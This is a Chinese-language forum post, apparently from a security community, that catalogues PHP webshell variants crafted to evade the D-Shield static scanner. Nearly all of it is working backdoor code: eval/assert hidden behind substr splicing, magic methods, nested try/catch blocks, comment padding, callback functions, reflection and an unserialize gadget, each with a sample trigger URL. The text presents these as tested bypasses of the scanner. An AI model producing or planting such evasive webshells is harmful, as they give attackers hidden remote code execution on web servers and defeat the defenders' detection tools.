前言

看了很多师傅关于webshell的文章,可谓是各式各样,字符的,汉字的,混淆的,不可打印的,难免让我心痒痒也想来试一试,以d盾2.1.6.2扫不出来为目标

说道php,大部分的webshell(小马)归根到最后都是希望能够实现代码(或命令)执行,无外乎就离不开eval和assert,所以这篇文章也是以此为核心,提供一些绕过的思路。(抛砖引玉~)

字符串函数(与类的结合)

  • 关于字符串函数,尝试了很多,核心在于利用字符串函数进行各种错综复杂的拼接,然后实现可变函数调用,实现代码执行
  • 但是d盾对于拼接和可变函数的识别是比较有效的
  • 比如:之前在p师傅博客看的这种

  • 确实够绕够混淆,但是放在d盾面前直接爆红了
  • 所以直接赤裸裸的用可变函数这条思路可以暂且放下了
  • 那么用字符串函数处理一下简单的放到函数里面效果如何

  • 好像也是不行,那放到类里面会如何呢?

class A{
    public function test($name){
        $temp = substr($name,6);
        $name = substr($name,0,6);
        $name($temp);
    }
}
$obj = new A();
$obj->test($_GET[1]);
  • payload=shell.php?0=assertphpinfo();
  • 看来真应了那句话,没有什么是加一层解决不了的,如果有,那就再加一层,本文下面的很多尝试都有或多或少基于这句话,在混淆静态扫描很有效果。

类与魔术方法

既然可以用类写,那是不是可以把类里魔术方法都试验一遍

构造和析构方法

class A{
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
        $temp = substr($name,6);
        $name = substr($name,0,6);
        $name($temp);
    }
}
$obj = new A($_GET[1]);

## 析构方法
class B{
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }

    public function __destruct()
    {
        $temp = substr($this->name,6);
        $name = substr($this->name,0,6);
        $name($temp);
    }

}
$obj = new B($_GET[1]);

get和set方法

## set方法
class Demo{

    public function __set($name, $value)
    {
        $temp = substr($name,6);
        $name = substr($name,0,6);
        $name($temp);
    }
}
$obj = new Demo();
$obj->$_GET[1]='占位的';

## get方法
class Demo{
    public function __get($name)
    {
        $temp = substr($name,6);
        $name = substr($name,0,6);
        $name($temp);
    }
}
$obj = new Demo();
echo $obj->$_GET[1];

  • 整体看会发现get和set方法也是比较简单的,比较省力。而且,这个字符串处理函数确实好用,这也算是增加一层的感觉(后面也有相关案例)

其他魔术方法

其他魔术方法都可以沿用这种方式,与此雷同,我就把代码直接放过来,不多解释了,大家可以在此基础更多发挥

## toString方法
class Demo
{
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }

    public function __toString()
    {
        $temp = substr($this->name,6);
        $name = substr($this->name,0,6);
        $name($temp);
        return '占位';
    }
}
$obj = new Demo($_GET[1]);
echo $obj;

## clone方法
class Demo
{
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }
    public function __clone()
    {
        $temp = substr($this->name,6);
        $name = substr($this->name,0,6);
        $name($temp);
    }
}
$obj = new Demo($_GET[1]);
$obj2 = clone $obj;

## call方法
class Demo
{
    public function __call($name,$args)
    {
        $name($args[0]);
    }
}
$obj = new Demo();
$obj->$_GET[0]($_GET[1]);

## callStatic方法(最简单)
class Demo{
    public static function __callStatic($name, $arguments)
    {
        $name($arguments[0]);
    }
}
Demo::$_GET[0]($_GET[1]);

## isset方法
class Demo{
    public function __isset($name){
        $temp = substr($name,6);
        $name = substr($name,0,6);
        $name($temp);
    }
}
$obj = new Demo();
isset($obj->$_GET[0]);

## unset方法
class Demo{
    public function __unset($name){
        $temp = substr($name,6);
        $name = substr($name,0,6);
        $name($temp);
    }
}
$obj = new Demo();
unset($obj->$_GET[0]);

可以看出来,能够传参的魔术方法最简单,而d盾都是扫不出来的,只能说php语法过于灵活,诸如Demo::$_GET[0]($_GET[1])或者是$obj->$_GET[0]($_GET[1])这种形式的语法结构,正则匹配也是很难去推测的。

代码结构与包含(php7可用)

从上个板块的试探中已经看出了一些端倪,那就是可以通过不同的代码结构进行嵌套,而绕过扫描,那我们就来进行下一步的试探。

try...catch...

  • 简单包在函数里
    function say($name){
      try{
          $temp = substr($name,6);
          $name = substr($name,0,6);
          $name($temp);
      }catch (Exception $e){
          var_dump($e);
      }
    }
    say($_GET[1]);
    

这样就解决的文章开头部分无法在函数里出现的问题

  • 包含类里面(php7可用)
    因为php7之后,assert已经作为语言构造器的方式出现,也就是说不可以向可变函数那样,通过拼接执行,所以必须要直面这个问题。以下这个方法可以直接用assert,而实现绕过。
class A{
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }
    public function __destruct()
    {
        try{
            assert($this->name);
        }catch (Exception $e){
            $e->getMessage();
        } finally {
            echo 'suibian';
        }
    }
}
new A($_GET[1]);

可以看出,多加个一层,就扫不出来了,try...catch...的结构很灵活,还可以在catch,finally的代码块里写。

## 写到catch里
class A{
    public function __destruct()
    {
        try{
            throw new ErrorException($_GET[1]);
        }catch (Exception $e){
            assert($e->getMessage());
        } finally {
            echo 'suibian';
        }
    }
}
new A();

## 写到finally里
class A{
    public function __destruct()
    {
        try{
            $this->a = $_GET[1];
            $name=substr($this->a,0);
        }catch (Exception $e){
            echo 'abc';
        } finally {
            assert($name);
        }
    }
}
new A();

其中,写到finally中做了一个处理,如果直接用会被识别出来,所以上面加了一个字符串函数。另外,换了变量,竟然作用域能够得到,还是php够灵活,其实用加个构造方法就没什么问题的,只不过想让代码量更短小(其实就是懒了)

包多层混淆(php7可用)

刚刚试过函数包含try...catch...,但是,还是用的可变函数,能不能assert甚至eval也都能直接用,试验下来,直接放到try和finally里是不行的(还可以试验一下字符串处理函数。。。),放到catch里可以

function show()
{
    try{
        throw new ErrorException($_GET[1]);
    }catch (Exception $e){
        assert($e->getMessage());
    } finally {
        echo 'suibian';
    }
}
show();

但是,还是不死心,如何在try里能通过,既然两层不够,就再加一层,毕竟还有eval没有试验呢

现实还是很无情的,不过,看起来确实是这样的,外面再加一层try...catch...不过是换汤不换药罢了,显得不太礼貌哈。但是,有意思的事情发生了,我在上面加一个try...catch..,就扫不出来了。

try {
    echo '占位';
}catch (Exception $e){
    echo '占位';
}

try {
    function show($name){
        try{
            assert($name);
        }catch (Exception $e){
            var_dump($e);
        }
    }
    show($_GET[1]);
}catch (Exception $e){
    echo 123;
}

既然包多层是好用的,在不用类的情况下,尝试那再多包几层,看可不可行,把for,foreach,全部都用上

function say($name)
{
    for ($i = 0; $i < 1; $i++) {
        foreach ([1] as $v){
            try {
                assert($name);
                throw new Exception($name);
            }catch (Exception $exception){
                assert($exception->getMessage());
            }
        }
    }
}
say($_GET[1]);

发现,只要包的层够多,无论是在try的哪个位置写都扫不出来了,甚至eval写进去也是没问题的。

eval和assert(php7可用)

其实,d盾在识别eval,assert上也算是挺严格的了,明面上的方式识别率都不低,而且,像早先冰蝎写到类里的方式,用invoke魔术方法触发,也是毫不迟疑的识别出来,所以要考虑一些比较稀奇古怪的方式来试试。

  • 一个奇怪的知识点(php5可用)
    在各种测试的过程中发现,eval('$a')中,单引号包裹的变量是能够识别的,变量的值可以被替换再由eval执行,而assert('$a')中就不可以,所以做如下尝试。
$a = $_GET[1];
$p = $_GET[2];
abd($a,$p);
function abd($a,$p){
    eval('$a($p);');
}

注释混淆(php7)

从上文推测,可以尝试其他的混淆方式,比如用注释混淆一番

非常好用,其中注释的内容要够多,后面也要拼点啥,要不然也能扫出来,单行注释也能写,效果一样

## 多行注释
function demo($name)
{
    eval("/*cesjoe*/" . $name." " );
}
demo($_GET[1]);

## 单行注释也可以
function demo($name)
{
    eval("//\r\n" . $name." " );
}
demo($_GET[1]);
  • assert如何写
##多行注释
function demo($name)
{
    if ($name != null) {
        $name = $name;
        assert("/*cesjoe*/" . $name);
    }
}
demo($_GET[1]);

##单行注释
function demo($name)
{
    if ($name != null) {
        $name = $name;
        assert("//jaoijgoia\r\n" . $name);
    }
}
demo($_GET[1]);

测试下来发现,assert的识别感觉比eval还严格呢,需要再包一层,而且还要加一行莫名其妙的代码糊弄一下,才扫不出来。

不用注释

其实刚刚整体测试下来发现,不用注释,随便拼点什么都能绕过去,所以,就做了一番尝试

function demo($name)
{
    if ($name != null) {
        $name = $name;
        assert( $name."echo 123;" );
    }
}
demo($_GET[1]);

function demo($name)
{
    eval("echo 123;" . $name."echo 456; " );
}
demo($_GET[1]);

的确如,诸如eval和assert,随便拼点什么都能过去。既然如此,能不能干脆把最外面的一层去掉,还原真正的‘一句话’呢?

看样没法如意,但是,从说明中看出来,它会自己去拼接推测,那我中间拦一道试试行不行

$name = $_GET[1];
$name = substr($name,0);
eval("echo 123;" . $name."echo 456; " );

果然能过得去,assert也可以依照此法写出来

$name = $_GET[1];
$name = substr($name,0);
assert("\$a=123 and "."$name"."and 33333;",'echo 123;');

其中,assert中第二个参数要写上,才能绕过,但是依然会给一个系统提醒(deprecated),因为assert推荐写法直接写表达式,而不是字符串拼接,虽然能够执行,参数是字符串的功能已经过时了,由此也可以看到,可变函数的路是越来越窄喽。

其他方式

除了上面的众多写法外,还有一些利用可变函数结合的方式特殊方式,就在这边简单列出来看看,都是测试过能绕过的

回调函数

  • array_map()

    function Demo($b){
      array_map(key($b), $b);
    }
    Demo($_GET);
    ## payload:shell.php?assert=phpinfo();
    
  • array_filter()

    function temp($x,$y){
      $g = array(1,2,3,4,5,$y);
      array_filter($g,$x);
    }
    temp($_GET[1],$_GET[3]);
    ## payload:shell.php?1=assert&3=phpinfo();
    
  • array_wal_recursive()

    function temp($x,$y){
      $g = array(1,2,3,4,5,$y);
      array_uintersect($g,$g,$x);
    }
    temp($_GET[1],$_GET[3]);
    ## payload:shell.php?1=assert&3=phpinfo();
    
  • array_uintersect_uassoc()

    function temp($x,$y){
      $g = array('a'=>1,'b'=>2,'c'=>3,$y=>'d');
      array_uintersect_uassoc($g,$g,$x,$x);
    }
    temp($_GET[1],$_GET[3]);
    ## payload:shell.php?1=assert&3=phpinfo();
    
  • array_uintersect_assoc()

    function temp($x,$y){
      $g = array(1,2,3,4,5,$y);
      array_uintersect_assoc($g,$g,$x);
    }
    temp($_GET[1],$_GET[3]);
    ## payload:shell.php?1=assert&3=phpinfo();
    

用反射的方式

class One
{
    var $b;
    function action($name)
    {
        $temp=$name[0];
        $temp($name[1]);
    }
}
$reflectionMethod = new ReflectionMethod('One', 'action');
echo $reflectionMethod->invoke(new One(), $_GET);
## payload:shell.php?0=assert&1=phpinfo();

用反射的时候,如果是用ReflectionFunction(函数)反射类会被扫出来,所以只能用ReflectionMethod(对象的方法)反射类。

用反序列化的方式

class Basic{
    public $name;
    public $age;
    public $args;
    public function __wakeup()
    {
        $tmp = $this->name.$this->age;
        $this->name = new $tmp();
    }
    public function __destruct()
    {
        $this->name->action($this->args);
    }
}
class Process{
    public function action($arg){
        call_user_func($arg[0],$arg[1]);
    }
}
unserialize($_GET[1]);
## payload:shell.php?1=O:5:"Basic":3:{s:4:"name";s:3:"Pro";s:3:"age";s:4:"cess";s:4:"args";a:2:{i:0;s:6:"assert";i:1;s:10:"phpinfo();";}}

这个写的有点冗长,回头还可以再简短些试试,应该可以。

小结

整篇文章针对webshell免杀的绕过方式罗列,总结下来可以体现为以下两个思路出发

  1. 多层包含,凡是具有代码块结构的(流程控制,类,函数,异常处理),都可以尝试多次多顺序的包含尝试
  2. 字符串处理,如果使用可变函数,多加几层字符串处理,会让其无法有效推测出最终拼接的字符串,尤其是变量同名覆盖,检测难度也会增加。
点击收藏 | 5 关注 | 3
  • 动动手指,沙发就是你的了!
登录 后跟帖